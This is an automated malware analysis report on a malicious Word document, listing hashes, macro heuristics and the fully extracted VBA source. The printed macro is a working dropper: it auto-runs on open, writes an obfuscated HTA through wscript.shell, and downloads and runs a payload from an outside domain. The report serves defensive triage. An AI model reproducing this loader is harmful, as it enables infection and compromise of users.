Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4fd98419b788cbde…

MALICIOUS

Office (OOXML)

76.6 KB Created: 2021-03-24 04:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 724c892c818b12f885d1042b6fce0c2d SHA-1: 789a3fc76638420cb9b3800a359eadb0c4f2ba87 SHA-256: 4fd98419b788cbdeb1aa9403302aefe5b19ef89a319c22c3f96dbd91174a2cff
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set indexSize = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set indexSize = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5399 bytes
SHA-256: 32153596fb4b3944e8493d89289e823e6994643a0294b949685ff3c8158d5d8c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{1E990925-2326-4792-87B6-489D69832F2D}{61D8CF6B-6A55-41C6-8792-189A849626E3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set indexSize = CreateObject("wscript.shell")
indexSize.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "classOptionProc"
Sub autoopen()
refMainReference
End Sub
Sub refMainReference()
Dim arrayNamespace As String
arrayNamespace = frm.cmdButton1.caption
arrayStoragePaste arrayNamespace
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "documentLocalClass"
Function libLoad()
libLoad = "<div id='content'>dmFyIHN0cnVjdExpbmtQcm9jID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7c3RydWN0TGlua1Byb2Mub3BlbigiR0VUIiwgImh0dHA6Ly9jb3JvbmFiYWcxMjNxcS5jb20vZmR2ZGQvdFY3SGxGWS9ZNUtOYVVWajVwUE83NHh2M1JHN2hlalNCYTMvOFlidTZIRmV4aTlzcG1vd2EwemcvcDFPUz"
End Function
Function databaseCollectionQuery()
databaseCollectionQuery = "lFNk12dWJERm4wMW9GMjJTY2doUWo5UXZRRWtBOWZOajRVUy85NjQ3My8zRU1JMHVxYXRqMHphczAzak5tY0RFejZsU0FtOU9TMy9xTnVGR0VXTkRmbTBKRTAvdHl4TE5mMzhkTjJ4UHFqV2VRZU93aEU3aHJVa0N5UHA2bE1QUTFCenJqRDVacS80NGJQTHVUdUhvY05YMFZLNy80MTcxMi94YXI2P3RpbWU9UzNIQnV2aXRDZ2J1SG9Bdkomc2"
End Function
Function responseCaption()
responseCaption = "lkPTlGam5YdnpxQjVkUDMyWFdNcDJDTFBhYnNvJnE9RlZTbkt1YzJnWk5paEN2Nm82RldHRjhNTTEmaWQ9b1JQY3ZpdGR5cDBvaHlSUFR5Mjc3TFomY2lkPUc2JkJ2N0FIN1g0PTN1WlBVc0dqTDMmcmVmPTBlVG14aXNOJllDSUhycD1lamdqV3hOIiwgZmFsc2UpO3N0cnVjdExpbmtQcm9jLnNlbmQoKTtpZihzdHJ1Y3RMaW5rUHJvYy5zdG"
End Function
Function genericProcSelect()
genericProcSelect = "F0dXMgPT0gMjAwKXt2YXIgY291bnRlckNvcHkgPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7Y291bnRlckNvcHkub3Blbjtjb3VudGVyQ29weS50eXBlID0gMTtjb3VudGVyQ29weS53cml0ZShzdHJ1Y3RMaW5rUHJvYy5yZXNwb25zZWJvZHkpO2NvdW50ZXJDb3B5LnNhdmV0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXF"
End Function
Function bufMemNext()
bufMemNext = "xtZW1UcnVzdC5qcGciLCAyKTtjb3VudGVyQ29weS5jbG9zZTt9|fXspZXJ1ZGVjb3JQcG1UcnRwKGhjdGFjfTspImF0aC5uaWFtXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC5wbVR0c2lMd2Vpdnt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSBwbVR0c2lMd2VpdiByYXY7KSJnc"
End Function
Function deleteViewList()
deleteViewList = "GoudHN1clRtZW1cXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'>0123456789+/</div><script language='javascript'>removeRemoveProc = window;documentNextLen = document;function globalListboxTemp"
End Function
Function mainExceptionDatabase()
mainExceptionDatabase = "(deleteLinkRemove){return(new ActiveXObject(deleteLinkRemove));}function table(){var titleEx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var viewProcedure = titleEx + titleEx.toLowerCase() + documentNextLen.getElementById('table').innerHTML;return(viewProcedure);}funct"
End Function
Function viewClass()
viewClass = "ion ptrPointer(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var referenceCounterScreen=''; var w=String.fromCharCode; var L=s.length;var requestLeftCopy = 'charAt';for(i=0;i<64;i++){e[table()[requestLeftCopy](i)]=i;}for(x=0;x<L;x++){c=e[s[req"
End Function
Function convertLen()
convertLen = "uestLeftCopy](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(referenceCounterScreen+=w(a));}}return(referenceCounterScreen);};function trustGlobalLocal(valueFunc){return valueFunc.split('').reverse().join('');}removeRemoveProc.resizeT"
End Function
Function counterPtr()
counterPtr = "o(1, 1);removeRemoveProc.moveTo(-100, -100);var buttonValueData = documentNextLen.getElementById('content').innerHTML;var buttonValueData = buttonValueData.split('|');var procedureLibDatabase = trustGlobalLocal(ptrPointer(buttonValueData[0]));var procedure"
End Function
Function textboxLocal()
textboxLocal = "LibDatabase = trustGlobalLocal(procedureLibDatabase);var copyRightGlobal = trustGlobalLocal(ptrPointer(buttonValueData[1]));</script><script language='javascript'>function tmpProcedureVb(textboxProcedure){var procedureExMemory = globalListboxTemp('msscript"
End Function
Function rightListText()
rightListText = "control.scriptcontrol');procedureExMemory.Language = 'jscript';procedureExMemory.Timeout = 60000;procedureExMemory.AddCode(textboxProcedure);return(null);}</script><script language='vbscript'>tmpProcedureVb procedureLibDatabase : tmpProcedureVb copyRightGl"
End Function
Function swapProcedure()
swapProcedure = "obal : removeRemoveProc.close</script>"
End Function
Function clearPaste()
clearPaste = libLoad + databaseCollectionQuery + responseCaption + genericProcSelect + bufMemNext + deleteViewList + mainExceptionDatabase + viewClass + convertLen + counterPtr + textboxLocal + rightListText + swapProcedure
End Function

Attribute VB_Name = "swapGeneric"
Sub arrayStoragePaste(arrayLocalLib As String)
Open arrayLocalLib For Output As #1
Print #1, clearPaste
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29696 bytes
SHA-256: d02d385d891d2e8c4d123225588a2e1c9aa6a15ed200c203873bcf73ed23ce3b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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